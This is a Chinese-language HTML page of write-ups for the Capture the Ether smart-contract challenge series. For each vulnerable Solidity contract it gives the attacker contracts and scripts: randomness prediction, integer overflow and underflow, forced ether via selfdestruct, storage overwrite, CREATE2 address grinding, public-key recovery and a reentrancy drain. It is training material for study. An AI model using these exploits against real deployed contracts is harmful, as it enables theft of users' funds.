<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8"/>
        <title>靶场笔记</title>
    </head>
    <body>
        <h1>Capture the Ether的题解</h1>
        <br/><br/><br/><br/>
        <h3>Call me</h3>
        <p>合约如下</p>
        <pre><code>
            pragma solidity ^0.4.21;

            contract CallMeChallenge {
                bool public isComplete = false;
            
                function callme() public {
                    isComplete = true;
                }
            }
        </code></pre>
        <p>直接调用call me即可</p>
        <br/><br/><br/><br/>
        <h3>Choose a nickname</h3>
        <h3>合约如下</h3>
        <pre><code>
            pragma solidity ^0.4.21;

// Relevant part of the CaptureTheEther contract.
contract CaptureTheEther {
    mapping (address => bytes32) public nicknameOf;

    function setNickname(bytes32 nickname) public {
        nicknameOf[msg.sender] = nickname;
    }
}

// Challenge contract. You don't need to do anything with this; it just verifies
// that you set a nickname for yourself.
contract NicknameChallenge {
    CaptureTheEther cte = CaptureTheEther(msg.sender);
    address player;

    // Your address gets passed in as a constructor parameter.
    function NicknameChallenge(address _player) public {
        player = _player;
    }

    // Check that the first character is not null.
    function isComplete() public view returns (bool) {
        return cte.nicknameOf(player)[0] != 0;
    }
}
        </code></pre>
        <p>将名字转化为bytes32类型后调用函数即可</p>
        <br/><br/><br/><br/>
        <h3>Guess the number</h3>
        <p>合约如下</p>
        <pre><code>
            pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
    uint8 answer = 42;

    function GuessTheNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}
        </code></pre>
        <p>根据合约，uint8 answer = 42;</p>
        <p>直接调用guess函数，填入42即可</p>
        <br\><br/><br/><br/>
        <h3>GuessTheSecretNumberChallenge</h3>
        <p>题目如下</p>
        <pre><code>
            pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}
        </code></pre>
        <p>根据合约可知，需要猜的数字是uint8类型，取值在0~256之间，所以编写如下合约计算</p>
        <pre><code>
            contract attack_{
                bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
                uint8 public i;
                function isguess() public returns(uint8){
                for(i=0;i<256;i++)
                {
                    if(keccak256(i)==answerHash)
                      {
                        return i;
                      }
                }
              }
            }>
        </code></pre>
        <p>计算得到的数字就是需要guess的数字了</p>
        <br/><br/><br/><br/>
        <h3>Guess the random number</h3>
        <p>合约如下</p>
        <pre><code>
            pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}
        </code></pre>
        <p>由合约，根据槽的规则，answer应该存储在slot0的位置</p>
        <p>由于Ropsten test network已经不能使用，将合约部署到goerli测试网中</p>
        <p>部署完成后拿到合约地址，使用web3.eth.getStorageAt("0x84D8d900Fed103Da82f4b28420655f2f6aEae369",0)获取到answer</p>
        <p>如图</p>
        <img src="https://yexingyu123456.github.io/photograph/bachang2.png">
        <img src="https://yexingyu123456.github.io/photograph/bachang1.png">
        <br><br><br><br><br>
        <h3>Guess the new number</h3>
        <p>合约如下</p>
        <pre><code>
            pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}
        </code></pre>
        <p>我们直接使用一个合约来计算answer并就在那个合约中调用</p>
        <p>合约如下</p>
        <pre><code>
            contract attack{
                GuessTheNewNumberChallenge guesst;
                function attack(address _addr)public{
                    guesst = GuessTheNewNumberChallenge(_addr);
                }
                function att()public payable{
                    uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
                    guesst.guess.value(0.001 ether)(answer);
                }
                function()external payable{
                    
                }
            }
            
        </code></pre>
        <p>调用后即可通过</p>
        <br><br><br><br><br><br><br>
        <h3>Predict the future</h3>
        <p>合约如下</p>
        <pre><code>
            pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;

    function PredictTheFutureChallenge() public payable {
        require(msg.value == 0.001 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 0.001 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

        </code></pre>
        <p>他的answer是mod10之后的值，所以answer可能的值只有0-9，我们通过攻击合约进行爆破即可</p>
        <pre><code>
            contract attack{
                PredictTheFutureChallenge pre;
                uint8 public answer=5;
                function attack(address _addr)public{
                    pre = PredictTheFutureChallenge(_addr);
                }
                function lock()public payable{
                    pre.lockInGuess.value(0.001 ether)(answer);
                }
                function att()public{
                    uint8 temp = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
                    if(temp == answer){
                    pre.settle();
                    }
                }
                function()external payable{
                    
                }
            }
            
        </code></pre>
        <br><br><br><br><br><br><br>
        <h3>Pridict the block hash </h3>
        <p>合约如下</p>
        <pre><code>
            contract PredictTheBlockHashChallenge {
                address guesser;
                bytes32 guess;
                uint256 settlementBlockNumber;
            
                function PredictTheBlockHashChallenge() public payable {
                    require(msg.value == 0.001 ether);
                }
            
                function isComplete() public view returns (bool) {
                    return address(this).balance == 0;
                }
            
                function lockInGuess(bytes32 hash) public payable {
                    require(guesser == 0);
                    require(msg.value == 0.001 ether);
            
                    guesser = msg.sender;
                    guess = hash;
                    settlementBlockNumber = block.number + 1;
                }
            
                function settle() public {
                    require(msg.sender == guesser);
                    require(block.number > settlementBlockNumber);
            
                    bytes32 answer = block.blockhash(settlementBlockNumber);
            
                    guesser = 0;
                    if (guess == answer) {
                        msg.sender.transfer(0.002 ether);
                    }
                }
            }
            
        </code></pre>
        <p>block.blockhash有一个特点，他只能得到256个区块内的哈希值，一旦超过256的区块，就无法返回对应的区块哈希，只会返回零</p>
        <pre><code>
            contract attack{
                PredictTheBlockHashChallenge pre;
                uint256 public blocknumber;
                bytes32 answer;
                function attack(address _addr)public{
                    pre = PredictTheBlockHashChallenge(_addr);
                }
                function lock()public payable{
                    blocknumber = block.number+1;
                    pre.lockInGuess.value(0.001 ether)(answer);
                }
                function att()public{
                    require(block.number-256>blocknumber);
                    pre.settle();
                }
                function ()external payable{
            
                }
            }
            
        </code></pre>
        <p>部署两个合约，并调用攻击合约的lock函数，随后等到能够调用att函数，再调用att函数。</p>
        <br\><br\><br\><br\><br\><br>
        <h3>Token sale</h3>
        <p>合约代码如下</p>
        <pre><code>
            pragma solidity ^0.4.21;

            contract TokenSaleChallenge {
                mapping(address => uint256) public balanceOf;
                uint256 constant PRICE_PER_TOKEN = 1 ether;
            
                function TokenSaleChallenge(address _player) public payable {
                    require(msg.value == 1 ether);
                }
            
                function isComplete() public view returns (bool) {
                    return address(this).balance < 1 ether;
                }
            
                function buy(uint256 numTokens) public payable {
                    require(msg.value == numTokens * PRICE_PER_TOKEN);
            
                    balanceOf[msg.sender] += numTokens;
                }
            
                function sell(uint256 numTokens) public {
                    require(balanceOf[msg.sender] >= numTokens);
            
                    balanceOf[msg.sender] -= numTokens;
                    msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
                }
            }
            

        </code></pre>
        <p>对合约分析可知，要使得题目合约的余额小于1ether。这个题问题出在buy方法上，可能存在上溢。因为虽然合约里eth的单位是ether，</p>
            <p>但是他的存储还是以wei为单位。1 ether=10^18.如果我们传入一个较大的numTokens，产生溢出得到一个很小的value。</p>
            <p>通过计算，可以得到发生溢出的临界值为115792089237316195423570985008687907853269984665640564039458和</p>
            <p>415992086870360064</p>
            <p>传入内容即可通过（先buy，然后sell）</p>
            <br><br><br><br><br><br>
            <h3>Token whale</h3>
            <p>合约代码如下</p>
            <pre><code>
                pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

            </code></pre>
            <p>分析合约可以得到，通过这关需要我们的token大于1000000</p>
            <p>根据ERC20函数的内容可知一些函数的功能，transferFrom前面一系列检查都是检查的from，然而转账的时候却是转的msg.sender。</p>
                <p>也就是说我只要value满足from，但是不满足msg.sender，就可以使 balanceOf[msg.sender] -= value;下溢。</p>
                <p>我们先向一个地址转账600，然后给我们自己授权600，再转回来，这时_transfer中的balanceOf[msg.sender] -= value;下溢，我们就攻击成功了</p>
                <br><br><bR><br><br><br><br>
                <h3>Retirement fund</h3>
                <p>合约代码如下</p>
                <pre><code>
                    pragma solidity ^0.4.21;

contract RetirementFundChallenge {
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;

    function RetirementFundChallenge(address player) public payable {
        require(msg.value == 1 ether);

        beneficiary = player;
        startBalance = msg.value;
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function withdraw() public {
        require(msg.sender == owner);

        if (now < expiration) {
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer(address(this).balance * 9 / 10);
        } else {
            msg.sender.transfer(address(this).balance);
        }
    }

    function collectPenalty() public {
        require(msg.sender == beneficiary);

        uint256 withdrawn = startBalance - address(this).balance;

        // an early withdrawal occurred
        require(withdrawn > 0);

        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }
}

                </code></pre>
                <p>分析合约可知，这个合约内容和Ethernaut靶场中一道题的方法基本一致，withdrawn只要合约地址大于startBalance（1 ether）就能下溢。</p>
                <p>solidty可以通过自毁将合约余额发送到另一个地址。selfdestruct函数</p>
                <p>编写如下攻击合约</p>
                <pre><code>
                    contract destruct{
                        function kill()public payable{
                            selfdestruct(addr);
                        }
                    } </code></pre>
                    <p>其中addr为被攻击合约的地址，调用后就能很简单的通过这个关卡了</p>
               
                <br><br><br><br><br><br><br><br><br>
                <h3>Mapping</h3>
                <p>题目合约如下</p>
                <pre><code>
                    pragma solidity ^0.4.21;

contract MappingChallenge {
    bool public isComplete;
    uint256[] map;

    function set(uint256 key, uint256 value) public {
        // Expand dynamic array as needed
        if (map.length <= key) {
            map.length = key + 1;
        }

        map[key] = value;
    }

    function get(uint256 key) public view returns (uint256) {
        return map[key];
    }
}
                </code></pre>
<p>分析合约可知，这个合约内容和Ethernaut靶场中一道题的方法也有相似之处</p>
<p>数组的起始位置是通过keccak256(bytes32("数组长度所在插槽"))计算的，所以用2**256-1再减去这个数加一就可以让数组的最后一位是整个storage的第一位，覆盖isCompleted变量。

    调用set函数将value设定为1，isComplete即可变为true。
</p>
<br><br><br><br><br><br><br><br><br>
<h3>Donation</h3>
<p>题目合约如下</p>
<pre><code>
    pragma solidity ^0.4.21;

contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;

    address public owner;

    function DonationChallenge() public payable {
        require(msg.value == 1 ether);
        
        owner = msg.sender;
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);

        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;

        donations.push(donation);
    }

    function withdraw() public {
        require(msg.sender == owner);
        
        msg.sender.transfer(address(this).balance);
    }
}
</code></pre>
<p>分析合约</p>
<br><br><br><br><br><br><br>
<h3>Fuzzy identity</h3>
<p>合约如下</p>
<pre><code>
    pragma solidity ^0.4.21;
interface IName {
 function name() external view returns (bytes32);
}
contract FuzzyIdentityChallenge {
 bool public isComplete;
 function authenticate() public {
 require(isSmarx(msg.sender));
 require(isBadCode(msg.sender));
 isComplete = true;
 }
 function isSmarx(address addr) internal view returns (bool) {
 return IName(addr).name() == bytes32("smarx");
 }
 function isBadCode(address _addr) internal pure returns (bool) {
 bytes20 addr = bytes20(_addr);
 bytes20 id = hex"000000000000000000000000000000000badc0de";
 bytes20 mask = hex"000000000000000000000000000000000fffffff";
 for (uint256 i = 0; i < 34; i++) {
 if (addr & mask == id) {
 return true;
 }
 mask <<= 4;
 id <<= 4;
 }
 return false;
 }
}
</code></pre>
<p>分析合约</p>
<p>很明显要调用authenticate函数，就要绕过两个require 第一个require要求满足IName函数，并且返回值为bytes32(“smarx”)，因为合约总会返回smarx，所以很容易满足。</p>>
<p>第二个require意思是，我们用来攻击的地址中必须存在badc0de这一串字符，也就很容易想到使用creat2来完成。</p>
<p>攻击合约</p>
<pre><code>
    pragma solidity ^0.4.21;
import "./FuzzyIdentity.sol";
contract attack{
 function name() external view returns (bytes32){
 return bytes32("smarx");
 }
 function att(address _Fuzzy) public {
 FuzzyIdentityChallenge(_Fuzzy).authenticate();
 }
}
</code></pre>
<pre><code>
    contract deployer{
 bytes attackCode =
hex"608060405234801561001057600080fd5b5061019a806100206000396000f30060806040526004
361061004c576000357c01000000000000000000000000000000000000000000000000000000009004
63ffffffff16806306fdde0314610051578063db97040214610084575b600080fd5b34801561005d57
600080fd5b506100666100c7565b604051808260001916600019168152602001915050604051809103
90f35b34801561009057600080fd5b506100c5600480360381019080803573ffffffffffffffffffff
ffffffffffffffffffff1690602001909291905050506100ef565b005b60007f736d61727800000000
0000000000000000000000000000000000000000000000905090565b8073ffffffffffffffffffffff
ffffffffffffffffff1663380c7a676040518163ffffffff167c010000000000000000000000000000
0000000000000000000000000000028152600401600060405180830381600087803b15801561015357
600080fd5b505af1158015610167573d6000803e3d6000fd5b50505050505600a165627a7a72305820
4273cdd8b92be0f5d505d2cc5fb213a3d50227101e51e54b95e9bd5592b6c6e80029";
 function deploy(bytes32 salt) public returns(address){
 bytes memory bytecode = attackCode;
 address addr;
 assembly {
 addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
 }
 return addr;
 }
 function getHash()public view returns(bytes32){
 return keccak256(attackCode);
 }
}

</code></pre>
<p>因为creat2可以根据用户输入salt的不同，部署可控的地址的合约，只需要将攻击合约的字节码放入deploy</p>
<p>
函数，再根据脚本算出生成对应地址需要的salt，脚本如下：
</p>
<pre><code>
    from web3 import Web3
s1 = '0xff7EF2e0048f5bAeDe046f6BF797943daF4ED8CB47'
s3 = '35206f900ec99a80b49aaffd98e9ad7e94f0de8df30a79b6797d52f7eaa76ea1'
i = 0
while(1):
 salt = hex(i)[2:].rjust(64, '0')
 s = s1+salt+s3
 hashed = Web3.sha3(hexstr=s)
 hashed_str = ''.join(['%02x' % b for b in hashed])
 if 'badc0de' in hashed_str[24:]:
 print(salt,hashed_str)
 break
 i += 1
 print(salt)

</code></pre>
<p>将部署合约的地址放入s1，攻击合约字节码哈希后放入s3，经过一段时间即可生成出salt，将salt放入deploy函
数，即成功部署attack合约，调用攻击函数即可。</p>
<br><br><br><br><br><br>
<h3>Public Key</h3>
<p>合约如下</p>
<pre><code>
    pragma solidity ^0.4.21;
contract PublicKeyChallenge {
 address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
 bool public isComplete;
 function authenticate(bytes publicKey) public {
 require(address(keccak256(publicKey)) == owner);
 isComplete = true;
 }
}
</code></pre>
<p>1. 要求：找到owner的publicKey
2. 分析：ECDSA中，有了消息+签名是可以恢复公钥的,从etherscan上找到owner发送过的交易的rawtx，</p>
可以从rawtx中得到签名和交易信息，有了交易信息、签名，就可以恢复出公钥。 参考资料<p>
3. 攻击： 利用web3.eth.getTransaction来获取到该交易的hash,r,s,v的，再利用已知数据通过脚本获
取到相应的公钥脚本如下：</p>
<pre><code>
    const EthereumTx = require('ethereumjs-tx');
const util = require('ethereumjs-util');
//以下均为查询的结果，自行输入
var rawTx = {
 nonce: ' ',
 gasPrice: ' ',
 gasLimit: ' ',
 to: ' ',
 value: ' ',
 data: ' ',
 v: ' ',
 r: ' ',
 s: ' '
};
var tx = new EthereumTx(rawTx);
pubkey=tx.getSenderPublicKey();
pubkeys=pubkey.toString('hex');
var address = util.sha3(pubkey).toString('hex').slice(24);
console.log(pubkeys);
console.log(address);

</code></pre>
<p>再将公钥放入authenticate函数调用即可</p>
<br><br><br><br><br><br><br><br>
<h3>Account Takeover</h3>
<p>题目合约</p>
<pre><code>
    pragma solidity ^0.4.21;

contract AccountTakeoverChallenge {
    address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
    bool public isComplete;

    function authenticate() public {
        require(msg.sender == owner);

        isComplete = true;
    }
}
</code></pre>
  <p>我们开始分析这个合约，要求是获得私钥，要推导出私钥，但是我暂时无法推出这道题的私钥</p>
  <br><br><br><br><br><br><br>
  <h3>Assume ownership</h3>
  <pre><code>
    pragma solidity ^0.4.21;

contract AssumeOwnershipChallenge {
    address owner;
    bool public isComplete;

    function AssumeOwmershipChallenge() public {
        owner = msg.sender;
    }

    function authenticate() public {
        require(msg.sender == owner);

        isComplete = true;
    }
}
  </code></pre>

  <p>分析这个合约，可以看到在构造函数应该与AssumeOwnershipChallenge同名，但是事实上并没有。</p>
  <p>所以我们直接调用AssumeOwmershipChallenge即可通过此关</p>
  <br><br><br><br><br><br><br><br><br>
  <h3>Token bank</h3>
  <p>合约如下</p>
  <pre><code>
    pragma solidity ^0.4.21;

interface ITokenReceiver {
    function tokenFallback(address from, uint256 value, bytes data) external;
}

contract SimpleERC223Token {
    // Track how many tokens are owned by each address.
    mapping (address => uint256) public balanceOf;

    string public name = "Simple ERC223 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    function SimpleERC223Token() public {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function isContract(address _addr) private view returns (bool is_contract) {
        uint length;
        assembly {
            //retrieve the size of the code on target address, this needs assembly
            length := extcodesize(_addr)
        }
        return length > 0;
    }

    function transfer(address to, uint256 value) public returns (bool success) {
        bytes memory empty;
        return transfer(to, value, empty);
    }

    function transfer(address to, uint256 value, bytes data) public returns (bool) {
        require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);

        if (isContract(to)) {
            ITokenReceiver(to).tokenFallback(msg.sender, value, data);
        }
        return true;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
        public
        returns (bool success)
    {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
}

contract TokenBankChallenge {
    SimpleERC223Token public token;
    mapping(address => uint256) public balanceOf;

    function TokenBankChallenge(address player) public {
        token = new SimpleERC223Token();

        // Divide up the 1,000,000 tokens, which are all initially assigned to
        // the token contract's creator (this contract).
        balanceOf[msg.sender] = 500000 * 10**18;  // half for me
        balanceOf[player] = 500000 * 10**18;      // half for you
    }

    function isComplete() public view returns (bool) {
        return token.balanceOf(this) == 0;
    }

    function tokenFallback(address from, uint256 value, bytes) public {
        require(msg.sender == address(token));
        require(balanceOf[from] + value >= balanceOf[from]);

        balanceOf[from] += value;
    }

    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);

        require(token.transfer(msg.sender, amount));
        balanceOf[msg.sender] -= amount;
    }
}


  </code></pre>
  <p>这是一个银行合约，分析</p>
  <pre><code>
    SimpleERC223Token合约相当于是银行，TokenBankChallenge相当于记录你余额的地方。tokenFallback函数我们执行不了，只有token合约可以执行，withdraw函数可以取走银行里的钱。
withdraw函数是先转后减，这里就存在一个重入。
现在的情况就是我和部署者各有500000000000000000000000，TokenBankChallenge合约有1000000000000000000000000个token在SimpleERC223Token中，完成此关的条件是让TokenBankChallenge合约拥有0token。
首先要把我的500000000000000000000000转回SimpleERC223Token，然后在SimpleERC223Token中把我的钱全给攻击合约，然后攻击合约再把钱转到TokenBankChallenge合约中。这样攻击合约就有调用withdraw函数的条件了
  </code></pre>
  <p>攻击合约如下</p>
  <pre><code>
    contract attack{
    SimpleERC223Token token=SimpleERC223Token(0xf8d2c1A68C3Fa15041c965432A6A1dB2D4313335);
    TokenBankChallenge target=TokenBankChallenge(0x5802016Bc9976C6f63D6170157adAeA1924586c1);
    uint256 fallbackTimes;
    function att()public {
       
         token.transfer(address(target),500000000000000000000000);
    }
    function start(){
        
        target.withdraw(500000000000000000000000);

    }
    function tokenFallback(address from, uint256 value, bytes data) external{
        
        fallbackTimes++;
        if (fallbackTimes==2){
            target.withdraw(500000000000000000000000);
        }
        
    }

    function fallback() external payable{

    }
}
  </code></pre>
  <p>第一次向攻击合约时不需要执行withdraw，所以tokenFallback要有限制，不然会失败。 先执行att,再执行start.然后就成功啦。</p>
    </body>
</html>
